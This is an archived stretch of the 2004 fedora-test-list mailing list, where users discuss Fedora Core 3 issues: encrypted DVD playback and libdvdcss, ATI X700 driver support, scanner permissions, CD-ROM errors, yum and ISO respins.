like the idea of menus beeing able to screw the controls of my > >>>dvd player in the first place, just skip to main film at title 1 track 1 > >>>and RCE won't work. > >>> > >>> > >>How to do that? > >> > >> > > > >mplayer dvd://1 kaffeine and xine works really nice. Except that I can not get around the encryption. I have no problem playing older movies or movies without that RCE business. Such as "The Spy who loved me" 007 Well, anyhow I will not pursue this one any further. > > > >Tom > > > > > > > Is that mplayer-0.60? > > Bob Cochran > From maxer1 at xmission.com Sun Nov 14 04:06:43 2004 From: maxer1 at xmission.com (maxer1) Date: Sat, 13 Nov 2004 21:06:43 -0700 Subject: ATI X 700 Pro on FC3 Message-ID: <4196D9D3.5090105@xmission.com> Anyone know if FC3 release supports the new ATI x 700 Pro? Thanks, RaXeT From perbj at stanford.edu Sun Nov 14 04:25:47 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Sat, 13 Nov 2004 20:25:47 -0800 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100404935.19116.17.camel@lion> References: <1100396017.3238.24.camel@hostmaster.org> <1100396897.19116.13.camel@lion> <1100397545.3238.27.camel@hostmaster.org> <4196C56A.1010203@speakeasy.net> <1100404935.19116.17.camel@lion> Message-ID: <1100406347.3396.11.camel@localhost.localdomain> On Sat, 2004-11-13 at 23:02 -0500, Ernest L. Williams Jr. wrote: > kaffeine and xine works really nice. > Except that I can not get around the encryption. > I have no problem playing older movies or movies without that RCE > business. > Such as "The Spy who loved me" 007 > > Well, anyhow I will not pursue this one any further. Looking back through the thread, I'm actually not sure that this is the problem... Do you have libdvdcss installed? /me runs and hides from the government, hoping not to get kicked out of the country for this suggestion... From jerone at gmail.com Sun Nov 14 08:34:28 2004 From: jerone at gmail.com (Jerone Young) Date: Mon, 15 Nov 2004 02:34:28 +1800 Subject: ATI X 700 Pro on FC3 In-Reply-To: <4196D9D3.5090105@xmission.com> References: <4196D9D3.5090105@xmission.com> Message-ID: <9f50a7a00411140034153fd020@mail.gmail.com> It might. The ati closed source driver "should" support it. Here are supported cards from the man page. SUPPORTED HARDWARE The radeon driver supports PCI and AGP video cards based on the follow- ing ATI chips R100 Radeon 7200 RV100 Radeon 7000(VE), M6 RS100 Radeon IGP320(M) RV200 Radeon 7500, M7, FireGL 7800 RS200 Radeon IGP330(M)/IGP340(M) RS250 Radeon Mobility 7000 IGP R200 Radeon 8500, 9100, FireGL 8800/8700 RV250 Radeon 9000PRO/9000, M9 RS300 Radeon 9100 IGP RS350 Radeon 9200 IGP RV280 Radeon 9200PRO/9200/9200SE, M9+ R300 Radeon 9700PRO/9700/9500PRO/9500/9600TX, FireGL X1/Z1 (2D only) R350 Radeon 980PRO/9800SE/9800, FireGL X2 (2D only) R360 Radeon 9800XT (2d only) RV350 Radeon 9600PRO/9600SE/9600, M10/M11, FireGL T2 (2D only) RV360 Radeon 9600XT (2d only) RV370 Radeon X300, M22 (2d only) RV380 Radeon X600, M24 (2d only) R420 Radeon X800 (2d only) R423 Radeon X800 PCIE (2d only) On Sat, 13 Nov 2004 21:06:43 -0700, maxer1 wrote: > Anyone know if FC3 release supports the new ATI x 700 Pro? > > Thanks, > > RaXeT > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From twaugh at redhat.com Sun Nov 14 11:50:51 2004 From: twaugh at redhat.com (Tim Waugh) Date: Sun, 14 Nov 2004 11:50:51 +0000 Subject: Fedora Core 3: Epson Perfection 1650 USB Scanner only recognized as "root" In-Reply-To: <4196869F.70803@austin.rr.com> References: <4196869F.70803@austin.rr.com> Message-ID: <20041114115051.GP17777@redhat.com> On Sat, Nov 13, 2004 at 04:11:43PM -0600, Erwin J. Prinz wrote: > I have an Epson Perfection 1650 scanner connected to the USB port on a > fully updated Fedora Core 3 system. I added the "usb" line in > /etc/sane.d/epson.conf. When starting xsane as normal user, no devices > are recognized. As root, scanning works as expected. I can scan as a > normal user after changing the permissions in /proc/bus/usb/001/003 to > -rw-rw-rw- (666), but this change is not persistent after the next boot-up. > > What is the preferred way to obtain the "666" permissions? I thought > that /etc/hotplug/usb/libusbscanner should set the permissions for the > console user correctly, but apparently it doesn't. How about when you turn it off, and then on? (There are bugs in bugzilla for this.) Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... 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Williams Jr. wrote: > > How can one play DVD movies unofficially under Fedora Core Release 3? > > According to the 2600 decision providing advice on this matter is a crime > in the USSA or with a US citizen present > As i am a Norwegian citizen, the "DVD-Jon" trial (the guy who wrote DeCSS and got sued by about every american film organization - and won.) proved that it is legal for me as a norwegian in Norway to give you info on this. Unless ofcource our loved privatize-everything-and-make-love-to-the-EU-behind-the-people's-back governement decides to drag patent law in through the door... You need (lib)DeCSS to decrypt those DVD's. But make sure you don't get caugth reading other peoples mail (as this is the paragraph they tried to frame Jon Johansen with...) > > libdvdread: Encrypted DVD support unavailable. > > Your disc vendor doesnt wish you to play it. Be a good citizen, be happy and > obey. From surak at casa.surak.eti.br Sun Nov 14 14:24:20 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Sun, 14 Nov 2004 11:24:20 -0300 Subject: Evolution slooow (was Re: Features for FC4) In-Reply-To: <1100383887.3564.3.camel@kyrre> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100362722.2810.23.camel@kyrre> <1100363086.29852.21.camel@localhost.localdomain> <1100366243.3126.13.camel@kyrre> <1100367989.31911.3.camel@localhost.localdomain> <1100377474.3126.25.camel@kyrre> <1100380446.4550.10.camel@ml350.bankofamerica.com> <1100383887.3564.3.camel@kyrre> Message-ID: <1100442260.15320.4.camel@steelgoose.com> Em S?b, 2004-11-13 ?s 19:11, Kyrre Ness Sjobak escreveu: > Strange. But EVO have some issues with IMAP (something like it has to > download everything etc - i am really not shure...) When you have filters, it looks like it downloads all new messages. Even if the filters are only subject-related. Its quite easy to test this, using imap over a slow connection, like dial-up. -- []s Alexandre Ganso 500 FOUR vermelha - Diretor Steel Goose Moto Group From surak at casa.surak.eti.br Sun Nov 14 14:34:09 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Sun, 14 Nov 2004 11:34:09 -0300 Subject: Can we play DVD movies under FC3? In-Reply-To: <20041113235146.GA28539@devserv.devel.redhat.com> References: <1100388977.19116.6.camel@lion> <20041113235146.GA28539@devserv.devel.redhat.com> Message-ID: <1100442849.15320.10.camel@steelgoose.com> Em S?b, 2004-11-13 ?s 20:51, Alan Cox escreveu: > According to the 2600 decision providing advice on this matter is a crime > in the USSA or with a US citizen present > > libdvdread: Encrypted DVD support unavailable. > Your disc vendor doesnt wish you to play it. Be a good citizen, be happy and > obey. And americans doesn't know why the rest of the world look at them with disguise. Better stay quiet. -- []s Alexandre Ganso 500 FOUR vermelha - Diretor Steel Goose Moto Group From paul at all-the-johnsons.co.uk Sun Nov 14 14:48:02 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Sun, 14 Nov 2004 14:48:02 +0000 Subject: vsftp / gftp problem Message-ID: <1100443682.29289.78.camel@localhost.localdomain> Hi, Not sure which is which on this problem. My wife and son's machines are bog standard FC2 boxes. Unless passive is switched off, they can't connect to my main machine. When I connect from any machine to a box using FC3 (inc. rawhide), I keep getting messages in gftp about the server sending something illegal called "5". Any ideas on that one? This includes if I use a rawhide box (or FC3 vanilla box) to connect to (say) download.fedora.redhat.com TTFN Paul -- "Trust me, I know what I'm doing" - Det. Sledgehammer -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From ernesto at ornl.gov Sun Nov 14 14:49:07 2004 From: ernesto at ornl.gov (Ernest L. Williams Jr.) Date: Sun, 14 Nov 2004 09:49:07 -0500 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100406347.3396.11.camel@localhost.localdomain> References: <1100396017.3238.24.camel@hostmaster.org> <1100396897.19116.13.camel@lion> <1100397545.3238.27.camel@hostmaster.org> <4196C56A.1010203@speakeasy.net> <1100404935.19116.17.camel@lion> <1100406347.3396.11.camel@localhost.localdomain> Message-ID: <1100443747.19116.23.camel@lion> On Sat, 2004-11-13 at 20:25 -0800, Per Bjornsson wrote: > On Sat, 2004-11-13 at 23:02 -0500, Ernest L. Williams Jr. wrote: > > kaffeine and xine works really nice. > > Except that I can not get around the encryption. > > I have no problem playing older movies or movies without that RCE > > business. > > Such as "The Spy who loved me" 007 > > > > Well, anyhow I will not pursue this one any further. > > Looking back through the thread, I'm actually not sure that this is the > problem... Do you have libdvdcss installed? Oops, I don't. I only built xine and kaffeine from source. > > /me runs and hides from the government, hoping not to get kicked out of > the country for this suggestion... > > From mpeters at mac.com Sun Nov 14 14:57:46 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sun, 14 Nov 2004 14:57:46 +0000 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100438003.3077.12.camel@kyrre> (from kyrre@solution-forge.net on Sun Nov 14 05:13:23 2004) References: <1100388977.19116.6.camel@lion> <20041113235146.GA28539@devserv.devel.redhat.com> <1100438003.3077.12.camel@kyrre> Message-ID: <1100444266l.25657l.1l@devel.mpeters.us> On 11/14/2004 05:13:23 AM, Kyrre Ness Sjobak wrote: > > As i am a Norwegian citizen, the "DVD-Jon" trial (the guy who wrote > DeCSS and got sued by about every american film organization - and > won.) > proved that it is legal for me as a norwegian in Norway to give you > info > on this. Probably - but remember, a few years back our country arrested a Russian at defcon for doing something IN Russia that was legal IN Russia on the basis that someone in America had visited his Russian website. Crazy, I know. So if you never plan on coming here, no worry. From no-reply-gw at fcp.homelinux.org Sun Nov 14 15:23:31 2004 From: no-reply-gw at fcp.homelinux.org (=?iso-8859-1?B?Y2psZXNo?=) Date: Sun, 14 Nov 2004 16:23:31 +0100 Subject: Respins? Message-ID: <6c95f255fff0d12ff7e0e10b3bbaff6a@fcp.homelinux.org> Hey all: Is there any chance that the FC3 ISOs could be respun after a certain period of time or a certain number of updates? It seems that if this wasn't technically difficult to acheive (I have no idea how the ISOs are built) it would save people time and trouble. After re-installing Windows XP I end up spending a few hours getting all the updates and rebooting. It would be great to avoid this annoyance in Fedora. Are there any good reasons why this shouldn't be done? -cjl -- This is an email sent via the webforum on http://fcp.homelinux.org From lux at diesel-research.com Sun Nov 14 15:25:04 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 08:25:04 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <20041114032818.GA2081@devserv.devel.redhat.com> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> Message-ID: <1100445905.5025.9.camel@localhost.localdomain> Is this a request for me, allan ? On Sat, 2004-11-13 at 22:28 -0500, Alan Cox wrote: > On Thu, Nov 11, 2004 at 11:53:27AM -0700, Kim Lux wrote: > > In my mind there is a big difference between perfection and having a > > CDROM that doesn't work. > > I'm slowly getting somewhere on this. Can you try > > mv /usr/sbin/hald /usr/sbin/hald.off > > and rebooting then seeing if your CD-ROM behaves > > > -- Kim Lux (Mr.) Diesel Research Inc From P.R.Schaffner at IEEE.org Sun Nov 14 15:27:17 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Sun, 14 Nov 2004 10:27:17 -0500 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100442849.15320.10.camel@steelgoose.com> References: <1100388977.19116.6.camel@lion> <20041113235146.GA28539@devserv.devel.redhat.com> <1100442849.15320.10.camel@steelgoose.com> Message-ID: <1100446038.6868.18.camel@tabb1.tabb> On Sun, 2004-11-14 at 11:34 -0300, Alexandre Strube wrote: > And americans doesn't know why the rest of the world look at them with > disguise. Better stay quiet. Although some attempt to disguise their disgust, there are many reasons some of us Americans recognize that might be just cause for it. :-/ Phil From alexl at stofanet.dk Sun Nov 14 15:34:32 2004 From: alexl at stofanet.dk (Alex Thomsen Leth) Date: Sun, 14 Nov 2004 16:34:32 +0100 Subject: update fedora under installation Message-ID: <1100446472.4667.1.camel@scar.lion> what about including an internet update of fedora under installation. From lux at diesel-research.com Sun Nov 14 15:37:38 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 08:37:38 -0700 Subject: Respins? In-Reply-To: <6c95f255fff0d12ff7e0e10b3bbaff6a@fcp.homelinux.org> References: <6c95f255fff0d12ff7e0e10b3bbaff6a@fcp.homelinux.org> Message-ID: <1100446658.5025.13.camel@localhost.localdomain> This is my basis of requesting that there be a FC3.1. BTW: You didn't have to reinstall XP on account of installing Linux. You could have resized your XP partition. I say this in case you didn't know. On Sun, 2004-11-14 at 16:23 +0100, cjlesh wrote: > Hey all: > > Is there any chance that the FC3 ISOs could be respun after a certain period of time or a certain number of updates? > > It seems that if this wasn't technically difficult to acheive (I have no idea how the ISOs are built) it would save people time and trouble. > > After re-installing Windows XP I end up spending a few hours getting all the updates and rebooting. It would be great to avoid this annoyance in Fedora. > > Are there any good reasons why this shouldn't be done? > > -cjl > > > -- > This is an email sent via the webforum on http://fcp.homelinux.org > -- Kim Lux (Mr.) Diesel Research Inc From P.R.Schaffner at IEEE.org Sun Nov 14 15:41:40 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Sun, 14 Nov 2004 10:41:40 -0500 Subject: Respins? In-Reply-To: <6c95f255fff0d12ff7e0e10b3bbaff6a@fcp.homelinux.org> References: <6c95f255fff0d12ff7e0e10b3bbaff6a@fcp.homelinux.org> Message-ID: <1100446900.6868.24.camel@tabb1.tabb> On Sun, 2004-11-14 at 16:23 +0100, cjlesh wrote: > Hey all: > > Is there any chance that the FC3 ISOs could be respun after a certain period of time or a certain number of updates? > > It seems that if this wasn't technically difficult to acheive (I have no idea how the ISOs are built) it would save people time and trouble. > > After re-installing Windows XP I end up spending a few hours getting all the updates and rebooting. It would be great to avoid this annoyance in Fedora. > > Are there any good reasons why this shouldn't be done? > > -cjl Has been discussed. Mainly developer/QA effort, deemed better devoted to moving on with the next release. Besides "yum upgrade" is orders of magnitude better than going through M$ updates with all the recursive patch dependencies and reboots (admittedly far fewer for w2k or XP than 9x) required. Phil From maxer1 at xmission.com Sun Nov 14 15:47:29 2004 From: maxer1 at xmission.com (maxer1) Date: Sun, 14 Nov 2004 08:47:29 -0700 Subject: ATI X 700 Pro on FC3 In-Reply-To: <9f50a7a00411140034153fd020@mail.gmail.com> References: <4196D9D3.5090105@xmission.com> <9f50a7a00411140034153fd020@mail.gmail.com> Message-ID: <41977E11.1030901@xmission.com> Jerone Young wrote: >It might. The ati closed source driver "should" support it. Here are >supported cards from the man page. >SUPPORTED HARDWARE > The radeon driver supports PCI and AGP video cards based on the follow- > ing ATI chips > > R100 Radeon 7200 > > RV100 Radeon 7000(VE), M6 > > RS100 Radeon IGP320(M) > > RV200 Radeon 7500, M7, FireGL 7800 > > RS200 Radeon IGP330(M)/IGP340(M) > > RS250 Radeon Mobility 7000 IGP > > R200 Radeon 8500, 9100, FireGL 8800/8700 > > RV250 Radeon 9000PRO/9000, M9 > > RS300 Radeon 9100 IGP > > RS350 Radeon 9200 IGP > > RV280 Radeon 9200PRO/9200/9200SE, M9+ > > R300 Radeon 9700PRO/9700/9500PRO/9500/9600TX, FireGL X1/Z1 (2D > only) > > R350 Radeon 980PRO/9800SE/9800, FireGL X2 (2D only) > > R360 Radeon 9800XT (2d only) > > RV350 Radeon 9600PRO/9600SE/9600, M10/M11, FireGL T2 (2D only) > > RV360 Radeon 9600XT (2d only) > > RV370 Radeon X300, M22 (2d only) > > RV380 Radeon X600, M24 (2d only) > > R420 Radeon X800 (2d only) > > R423 Radeon X800 PCIE (2d only) > > >On Sat, 13 Nov 2004 21:06:43 -0700, maxer1 wrote: > > >>Anyone know if FC3 release supports the new ATI x 700 Pro? >> >>Thanks, >> >>RaXeT >> >> Actually I was wondering if xorg-x11 supports it in FC3? I'm sure the ATI driver doesn't work at all with FC3 release. RaXeT From P.R.Schaffner at IEEE.org Sun Nov 14 16:35:33 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Sun, 14 Nov 2004 11:35:33 -0500 Subject: update fedora under installation In-Reply-To: <1100446472.4667.1.camel@scar.lion> References: <1100446472.4667.1.camel@scar.lion> Message-ID: <1100450133.6868.37.camel@tabb1.tabb> On Sun, 2004-11-14 at 16:34 +0100, Alex Thomsen Leth wrote: > what about including an internet update of fedora under installation. Sounds like a good candidate for a firstboot RFE, rather than anaconda. Phil From surak at casa.surak.eti.br Sun Nov 14 16:41:57 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Sun, 14 Nov 2004 13:41:57 -0300 Subject: Respins? In-Reply-To: <1100446658.5025.13.camel@localhost.localdomain> References: <6c95f255fff0d12ff7e0e10b3bbaff6a@fcp.homelinux.org> <1100446658.5025.13.camel@localhost.localdomain> Message-ID: <1100450517.15320.21.camel@steelgoose.com> Em Dom, 2004-11-14 ?s 12:37, Kim Lux escreveu: > BTW: You didn't have to reinstall XP on account of installing Linux. > You could have resized your XP partition. I say this in case you didn't > know. This is not related with what was said. The OP said that is an annoyance to install xp, download hundreds of megabytes of 'security' updates, reboot, update more stuff, (repeat the last two steps some times), only to begin installing its own applications. The same applies to fedora: If you pick up FC3, install and update, you will have to download tons of updates. As rpms are way more smart than those ackward xp updates, you could just replace the outdated packages with its updated versions. Some way of doing this in a automate manner could be great. You download a bunch of isos, update them, close those .iso files again, and install a updated system. I do this for my own distribution, knoppix/debian based. And it saves a lot of work (and gives me more trouble on some stuff, which fedora is safe from). -- []s Alexandre Ganso 500 FOUR vermelha - Diretor Steel Goose Moto Group From gene.heskett at verizon.net Sun Nov 14 16:43:52 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Sun, 14 Nov 2004 11:43:52 -0500 Subject: ATI X 700 Pro on FC3 In-Reply-To: <9f50a7a00411140034153fd020@mail.gmail.com> References: <4196D9D3.5090105@xmission.com> <9f50a7a00411140034153fd020@mail.gmail.com> Message-ID: <200411141143.52968.gene.heskett@verizon.net> On Sunday 14 November 2004 03:34, Jerone Young wrote: >It might. The ati closed source driver "should" support it. Here > are supported cards from the man page. The last time I browsed the ATI site, no linux drivers could be found. Can you reveal a URL? >SUPPORTED HARDWARE > The radeon driver supports PCI and AGP video cards based on > the follow- ing ATI chips > > R100 Radeon 7200 > > RV100 Radeon 7000(VE), M6 > > RS100 Radeon IGP320(M) > > RV200 Radeon 7500, M7, FireGL 7800 > > RS200 Radeon IGP330(M)/IGP340(M) > > RS250 Radeon Mobility 7000 IGP > > R200 Radeon 8500, 9100, FireGL 8800/8700 > > RV250 Radeon 9000PRO/9000, M9 > > RS300 Radeon 9100 IGP > > RS350 Radeon 9200 IGP > > RV280 Radeon 9200PRO/9200/9200SE, M9+ > > R300 Radeon 9700PRO/9700/9500PRO/9500/9600TX, FireGL > X1/Z1 (2D only) > > R350 Radeon 980PRO/9800SE/9800, FireGL X2 (2D only) > > R360 Radeon 9800XT (2d only) > > RV350 Radeon 9600PRO/9600SE/9600, M10/M11, FireGL T2 > (2D only) > > RV360 Radeon 9600XT (2d only) > > RV370 Radeon X300, M22 (2d only) > > RV380 Radeon X600, M24 (2d only) > > R420 Radeon X800 (2d only) > > R423 Radeon X800 PCIE (2d only) > >On Sat, 13 Nov 2004 21:06:43 -0700, maxer1 wrote: >> Anyone know if FC3 release supports the new ATI x 700 Pro? >> >> Thanks, >> >> RaXeT >> >> -- >> fedora-test-list mailing list >> fedora-test-list at redhat.com >> To unsubscribe: >> http://www.redhat.com/mailman/listinfo/fedora-test-list -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From fedora at leemhuis.info Sun Nov 14 16:47:59 2004 From: fedora at leemhuis.info (Thorsten Leemhuis) Date: Sun, 14 Nov 2004 17:47:59 +0100 Subject: ATI X 700 Pro on FC3 In-Reply-To: <41977E11.1030901@xmission.com> References: <4196D9D3.5090105@xmission.com> <9f50a7a00411140034153fd020@mail.gmail.com> <41977E11.1030901@xmission.com> Message-ID: <1100450880.4116.1.camel@localhost.localdomain> Am Sonntag, den 14.11.2004, 08:47 -0700 schrieb maxer1: > Jerone Young wrote: > > >It might. The ati closed source driver "should" support it. Here are > >supported cards from the man page. > >SUPPORTED HARDWARE > > The radeon driver supports PCI and AGP video cards based on the follow- > > ing ATI chips [...] > > > >On Sat, 13 Nov 2004 21:06:43 -0700, maxer1 wrote: > >>Anyone know if FC3 release supports the new ATI x 700 Pro? > >> > Actually I was wondering if xorg-x11 supports it in FC3? > > I'm sure the ATI driver doesn't work at all with FC3 release. AFAIK it works as long as you don't use the kernel-module / DRI. CU thl -- Thorsten Leemhuis From diahron at earthlink.net Sun Nov 14 17:06:15 2004 From: diahron at earthlink.net (Diahron Grismore) Date: Sun, 14 Nov 2004 11:06:15 -0600 Subject: Playing DVD's Message-ID: <41979087.70006@earthlink.net> I found out that when you install the Xine programs it only works properly if you use it under the KDE! I'm using the latest Fedora. For some reason if I try to play a DVD under the default (Gnome) GUI, Xine will not work properly at all. Changing to the KDE gui makes everything work flawlessly. From alan at redhat.com Sun Nov 14 17:41:03 2004 From: alan at redhat.com (Alan Cox) Date: Sun, 14 Nov 2004 12:41:03 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100445905.5025.9.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> Message-ID: <20041114174103.GA6989@devserv.devel.redhat.com> On Sun, Nov 14, 2004 at 08:25:04AM -0700, Kim Lux wrote: > Is this a request for me, allan ? Yep From maxer1 at xmission.com Sun Nov 14 17:48:54 2004 From: maxer1 at xmission.com (maxer1) Date: Sun, 14 Nov 2004 10:48:54 -0700 Subject: ATI X 700 pro detected or not Message-ID: <41979A86.3090302@xmission.com> I guess I wasn't very good at posing my questions. My questions is: Will Fedora Core 3 release "detect" and install the proper Radeon driver assuming xorg-x11-6.8.1-12 on install for the ATI x 700 pro 256? Is the PCI Bus ID for this new card in xorg-x11-6.8.1-12? Since the ATI x 700 pro is using the PCI Express slot, can Fedora Core 3 recognize that slot? Thanks ever so much. RaXeT From alan at redhat.com Sun Nov 14 17:49:23 2004 From: alan at redhat.com (Alan Cox) Date: Sun, 14 Nov 2004 12:49:23 -0500 Subject: ATI X 700 Pro on FC3 In-Reply-To: <41977E11.1030901@xmission.com> References: <4196D9D3.5090105@xmission.com> <9f50a7a00411140034153fd020@mail.gmail.com> <41977E11.1030901@xmission.com> Message-ID: <20041114174923.GC6989@devserv.devel.redhat.com> On Sun, Nov 14, 2004 at 08:47:29AM -0700, maxer1 wrote: > >>Anyone know if FC3 release supports the new ATI x 700 Pro? > Actually I was wondering if xorg-x11 supports it in FC3? > > I'm sure the ATI driver doesn't work at all with FC3 release. FC3 Xorg has drivers for the various PCI Express cards in 2D mode provided by ATI themselves. It works on the PCI express stuff I've tested so far. From lux at diesel-research.com Sun Nov 14 17:51:27 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 10:51:27 -0700 Subject: Playing DVD's In-Reply-To: <41979087.70006@earthlink.net> References: <41979087.70006@earthlink.net> Message-ID: <1100454687.5025.34.camel@localhost.localdomain> How did you install Xine ? source, rpms ? On Sun, 2004-11-14 at 11:06 -0600, Diahron Grismore wrote: > I found out that when you install the Xine programs it only works > properly if you use it under the KDE! I'm using the latest Fedora. For > some reason if I try to play a DVD under the default (Gnome) GUI, Xine > will not work properly at all. Changing to the KDE gui makes > everything work flawlessly. > -- Kim Lux (Mr.) Diesel Research Inc From mark at talios.com Sun Nov 14 17:53:09 2004 From: mark at talios.com (Mark Derricutt) Date: Mon, 15 Nov 2004 06:53:09 +1300 Subject: update fedora under installation In-Reply-To: <1100450133.6868.37.camel@tabb1.tabb> References: <1100446472.4667.1.camel@scar.lion> <1100450133.6868.37.camel@tabb1.tabb> Message-ID: <41979B85.5000100@talios.com> Phil Schaffner wrote: >>what about including an internet update of fedora under installation. > Sounds like a good candidate for a firstboot RFE, rather than anaconda. It could auto-discover other repositories maybe, from the main list for joe-random-user it could include fedora-core and fedora-extras repositories, but under an "advanced" selection ( maybe like the initial package selection of "let me choose from each and every package in the world" it could auto-discover/list from a central "repository of repositories" the likes of say freshrpms, dag's, dries, jpackage etc. etc. mmm From bavinic at comcast.net Sun Nov 14 17:54:24 2004 From: bavinic at comcast.net (Jim Martin) Date: Sun, 14 Nov 2004 12:54:24 -0500 Subject: Playing DVD's In-Reply-To: <1100454687.5025.34.camel@localhost.localdomain> References: <41979087.70006@earthlink.net> <1100454687.5025.34.camel@localhost.localdomain> Message-ID: <41979BD0.2090906@comcast.net> Kim Lux wrote: >How did you install Xine ? source, rpms ? > > >On Sun, 2004-11-14 at 11:06 -0600, Diahron Grismore wrote: > > >>I found out that when you install the Xine programs it only works >>properly if you use it under the KDE! I'm using the latest Fedora. For >>some reason if I try to play a DVD under the default (Gnome) GUI, Xine >>will not work properly at all. Changing to the KDE gui makes >>everything work flawlessly. >> >> >> I installed it using apt-get and it works fine ( dvds and all) had to tell it where my dvd drive was, but it works good. BaVinic From lux at diesel-research.com Sun Nov 14 17:59:26 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 10:59:26 -0700 Subject: Playing DVD's In-Reply-To: <41979BD0.2090906@comcast.net> References: <41979087.70006@earthlink.net> <1100454687.5025.34.camel@localhost.localdomain> <41979BD0.2090906@comcast.net> Message-ID: <1100455166.5025.43.camel@localhost.localdomain> Did apt get an FC3 version or possibly an FC2 version ? I'm wondering if your Xine issue might be sound related. Xine chokes if sound isn't working and sound changed from FC2 to FC3. Just a random thought... it might be finding what it needs for sound under FC3 but not under gnome. BTW are you testing by running from the command line and enabling full error reporting ? I'm just throwing out random ideas here. On Sun, 2004-11-14 at 12:54 -0500, Jim Martin wrote: > Kim Lux wrote: > > >How did you install Xine ? source, rpms ? > > > > > >On Sun, 2004-11-14 at 11:06 -0600, Diahron Grismore wrote: > > > > > >>I found out that when you install the Xine programs it only works > >>properly if you use it under the KDE! I'm using the latest Fedora. For > >>some reason if I try to play a DVD under the default (Gnome) GUI, Xine > >>will not work properly at all. Changing to the KDE gui makes > >>everything work flawlessly. > >> > >> > >> > I installed it using apt-get and it works fine ( dvds and all) had to > tell it where my dvd drive was, but it works good. > > BaVinic > -- Kim Lux (Mr.) Diesel Research Inc From jmizell at whileloop.com Sun Nov 14 19:07:12 2004 From: jmizell at whileloop.com (John Mizell) Date: Sun, 14 Nov 2004 13:07:12 -0600 Subject: Using yum on cd Message-ID: <1100459232.16039.3.camel@supernova> is there a way to use yum localinstall to install from a repository on a CD and how would you create the repository for the cd? Thanx, John Mizell From maxer1 at xmission.com Sun Nov 14 18:05:52 2004 From: maxer1 at xmission.com (maxer1) Date: Sun, 14 Nov 2004 11:05:52 -0700 Subject: ATI X 700 Pro on FC3 In-Reply-To: <20041114174923.GC6989@devserv.devel.redhat.com> References: <4196D9D3.5090105@xmission.com> <9f50a7a00411140034153fd020@mail.gmail.com> <41977E11.1030901@xmission.com> <20041114174923.GC6989@devserv.devel.redhat.com> Message-ID: <41979E80.7020908@xmission.com> Alan Cox wrote: >On Sun, Nov 14, 2004 at 08:47:29AM -0700, maxer1 wrote: > > >>>>Anyone know if FC3 release supports the new ATI x 700 Pro? >>>> >>>> >>Actually I was wondering if xorg-x11 supports it in FC3? >> >>I'm sure the ATI driver doesn't work at all with FC3 release. >> >> > >FC3 Xorg has drivers for the various PCI Express cards in 2D mode provided >by ATI themselves. It works on the PCI express stuff I've tested so far. > > I have the new Intel 915 gev mobo and this new ATI card. Alan, you've made my day! Thanks, RaXeT From skvidal at phy.duke.edu Sun Nov 14 18:02:45 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sun, 14 Nov 2004 13:02:45 -0500 Subject: Using yum on cd In-Reply-To: <1100459232.16039.3.camel@supernova> References: <1100459232.16039.3.camel@supernova> Message-ID: <1100455365.4344.12.camel@binkley> On Sun, 2004-11-14 at 13:07 -0600, John Mizell wrote: > is there a way to use yum localinstall to install from a repository on a > CD and how would you create the repository for the cd? yum localinstall doesn't need a repository. yum localinstall /some/file.rpm -sv From lux at diesel-research.com Sun Nov 14 18:26:47 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 11:26:47 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <20041114174103.GA6989@devserv.devel.redhat.com> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> Message-ID: <1100456807.3470.1.camel@localhost.localdomain> I am testing cdparanoia right now. $ls /usr/sbin/hal* /usr/sbin/hald.off /usr/sbin/hal_lpadmin On trying to open a cdrom from the desktop icon: /dev/hdc: Input/output error mount: /dev/hdc already mounted or /media/cdrecorder busy Please check that the disk is entered correctly. Nov 14 11:11:17 localhost kernel: cdrom: open failed. Nov 14 11:11:23 localhost last message repeated 3 times Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 